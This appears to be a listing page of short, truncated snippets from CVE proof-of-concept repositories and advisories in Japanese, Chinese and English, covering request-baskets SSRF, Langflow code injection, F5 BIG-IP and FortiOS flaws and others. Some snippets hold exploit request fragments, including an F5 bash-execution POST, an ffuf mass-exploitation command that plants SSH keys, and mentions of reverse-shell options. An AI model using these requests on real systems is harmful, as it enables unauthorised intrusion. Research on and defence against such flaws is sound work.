CVE-2023-27163

Request-Baskets における SSRF の PoC CVE-2023-27163 このリポジトリには、request-baskets のバージョン 1.2.1 までで発見された Server-Side Request Forgery SSRF 脆弱性である CVE-2023-27163 の Proof-of-Concept PoC が含まれています。この脆弱性により、攻撃者は巧妙に細工された API リクエストを使って /api/baskets/name コンポーネントを悪用し、ネットワークリソースや機密情報にアクセスできます。 クレジット:...

CVE-2023-27163

CVE-2023-27163 Request-Baskets v1.2.1 - サーバーサイドリクエストフォージェリ SSRF request-baskets v1.2.1 以前には、コンポーネント /api/baskets/name を介したサーバーサイドリクエストフォージェリ SSRF が存在することが判明しました。この脆弱性により、攻撃者は細工されたAPIリクエストを介してネットワークリソースや機密情報にアクセスできるようになります。 インストール git clone https://github.com/0xFTW/CVE-2023-27163 cd CVE-2023-27163...

CVE-2022-1388_PoC

F5 BIG-IP RCE エクスプロイト CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl コマンドライン: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ -H...

CVE-2022-40684-POC

CVE-2022-40684-POC FortiProxy / FortiOS 認証バイパス 大量悪用 /api/v2/cmdb/system/admin/ "ssh-public-key1": "" ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="127.0.0.1 :8000";by=”127.0.0.1:9000";' -d...

CVE-2025-3248

CVE-2025-3248 利用易受攻击的 API 端点实现远程代码执行的 PoC（概念验证）。 信息： ⚠️ 使用本工具风险自负！ ❓ 新增了反弹 shell 的选项。 ✅ 当 validatecode 关闭时自动重试。 展示 使用方法 python CVE-2025-3248.py / python3 CVE-2025-3248.py 免责声明 使用本工具即表示您同意，您仅将其用于教育目的，且不会将其用于任何非法活动。 您还同意承担与本工具使用相关的所有风险。 对于因使用本工具而造成的直接或间接损害，本人概不负责。...

CVE-2023-23752

CVE-2023-23752 CVE-2023-23752 のエクスプロイト 4.0.0 GET /api/index.php/v1/config/application?public=true HTTP/1.1 Host: 10.9.49.205 User-Agent: curl/7.68.0 Accept: / Mark bundle as not supporting multiuse HTTP/1.1 200 OK Date: Mon, 20 Mar 2023 15:14:05 GMT Server: Apache/2.4.41 Ubuntu x-frame-options:...

CVE-2026-105148

A vulnerability was identified in SciPhi-AI R2R up to 3.6.6. This vulnerability affects unknown code of the file py/shared/abstractions/llm.py of the component Retrieval Completion API Endpoint. Such manipulation of the argument generationconfig.apibase leads to server-side request forgery. The...

CVE-2026-105148 SciPhi-AI R2R Retrieval Completion API Endpoint llm.py server-side request forgery

A vulnerability was identified in SciPhi-AI R2R up to 3.6.6. This vulnerability affects unknown code of the file py/shared/abstractions/llm.py of the component Retrieval Completion API Endpoint. Such manipulation of the argument generationconfig.apibase leads to server-side request forgery. The...

CVE-2026-105148

A server-side request forgery (SSRF) vulnerability exists in SciPhi-AI R2R versions up to 3.6.6 . The flaw is located in the Retrieval Completion API Endpoint within the file py/shared/abstractions/llm.py. Specifically, manipulation of the generation_config.api_base argument allows for remote exe...

EUVD-2026-92094

A vulnerability was identified in SciPhi-AI R2R up to 3.6.6. This vulnerability affects unknown code of the file py/shared/abstractions/llm.py of the component Retrieval Completion API Endpoint. Such manipulation of the argument generationconfig.apibase leads to server-side request forgery. The...

AnythingLLM - Information Disclosure

AnythingLLM suffers from an information disclosure vulnerability through the /api/setup-complete API endpoint. By accessing this endpoint, a remote and unauthenticated attacker can access sensitive configuration of the target AnythingLLM instance. This detection is included in the AI and LLM...

PT-2026-104624

A vulnerability was identified in SciPhi-AI R2R up to 3.6.6. This vulnerability affects unknown code of the file py/shared/abstractions/llm.py of the component Retrieval Completion API Endpoint. Such manipulation of the argument generation config.api base leads to server-side request forgery. The...

CVE-2025-3248

CVE-2025-3248 漏洞利用工具文档 简介 本工具用于利用 CVE-2025-3248 漏洞（基于Python的代码注入漏洞），通过构造恶意payload实现目标服务器的远程命令执行（RCE）。该漏洞存在于某Web应用的API接口中，攻击者可利用未验证的代码执行点注入任意Python代码。 重要提示： 本工具仅用于授权安全测试，未经授权的渗透测试可能违反法律。请确保您拥有目标系统的明确授权。 功能特点 ✅ 通过/api/v1/validate/code接口注入恶意Python代码 ✅ 支持执行任意系统命令（如whoami、ls等） ✅ 自定义超时时间（默认10秒） ✅...

CVE-2024-48061

CVE-2024-48061 Langflow はリモートコード実行に対して脆弱 CVE-2024-48061 poc 使用方法 python3 poc.py -i -p -l -lp 説明 このスクリプトは、ターゲットWebサーバーの脆弱なAPIエンドポイント /api/v1/validate/code を悪用します。 まず脆弱なパスの存在を確認し、次に指定されたリスナーIPとポートでTCPリスナーを起動します。 リスナーの準備が整うと、ターゲットに特別に細工されたペイロードを送信し、リスナーに接続するリバースシェルを起動します。 例 成功例 python3 poc3.py -i...

CVE-2025-59843-CVE-2025-59932

CVE-2025-59843 & CVE-2025-59932 1. ユーザーメールアドレスの公開露出 CVE-2025-59843 対象 / 影響を受けるアプリケーション: FlagForge Web Application APIエンドポイント: /api/user/username 詳細: このエンドポイントは認証なしでユーザーのメールアドレスを返します。任意のユーザー名を公開クエリできます。 根本原因 / コード参照: const user = await UserSchema.findOne name: $regex: new RegExp^$username$, 'i'...

API-Wordlist

apiwordlist 一个用于模糊测试 Web 应用程序 API 的 API 名称字典。 内容 apiseeninwild.txt - 包含我在实际环境中见过的 API 函数名称。 actions.txt - 所有 API 函数名称动词 objects.txt - 所有 API 函数名称名词 actions-uppercase.txt - 首字母大写的 API 函数名称动词 actions-lowercase.txt - 首字母小写的 API 函数名称动词 objects-uppercase.txt - 首字母大写的 API 函数名称名词 objects-lowercase.txt -...

CVE-2026-25513

CVE-2026-25513: FacturaScripts の API ORDER BY 句における SQL インジェクション 概要 項目| 詳細 ---|--- CVE ID| CVE-2026-25513 深刻度| 高 アドバイザリ| アドバイザリを表示 発見者| Lukasz Rybak 影響を受ける製品 facturascripts/facturascripts （バージョン: orderBy = $field . ' ' . $order; return $this; このチェックは SQL 関数を許可することを意...

CVE-2025-3248

Technical Analysis & Defensive Guide: CVE-2025-3248 Langflow Code Injection An educational reference and defensive analysis of CVE-2025-3248, a critical code injection vulnerability affecting Langflow. 📌 Vulnerability Profile CVE ID: CVE-2025-3248 Vulnerability Type: Remote Code Execution RCE /...

CVE-2026-27944

CVE-2026-27944 一个针对 CVE-2026-27944 的概念验证脚本，该漏洞是一个允许解密 nginx-ui 备份的关键漏洞 免责声明 本概念验证仅用于教育和道德安全测试目的。其开发目的是作为 HackTheBox 实验室环境的一部分，演示 CVE-2026-27944 的技术根本原因。 未经授权访问计算机系统是违法的。本仓库作者不对任何滥用此信息的行为或使用此脚本造成的任何损害负责。请仅在您拥有或获得明确书面许可测试的系统上使用此工具。别犯傻。 分析 一个公开端点允许攻击者获取存储在 /api/backups 端点的 nginx-ui...

CVE-2023-27163

CVE-2023-27163 这是 CVE-2023-27163 的一个 PoC，该漏洞是 request-baskets 中直至 v1.2.1 版本存在的一个 SSRF 漏洞。 该漏洞允许攻击者通过 /api/baskets/name 访问敏感的网络资源。 request-baskets 包含一项功能，用户可以在其中指定另一台服务器来转发请求。 这里的问题在于，用户还可以指定非预期的服务，例如网络封闭的内部应用程序。 使用方法 $ python3 CVE-2023-27163.py --help 用法: python3 CVE-2023-27163.py 参数: URL...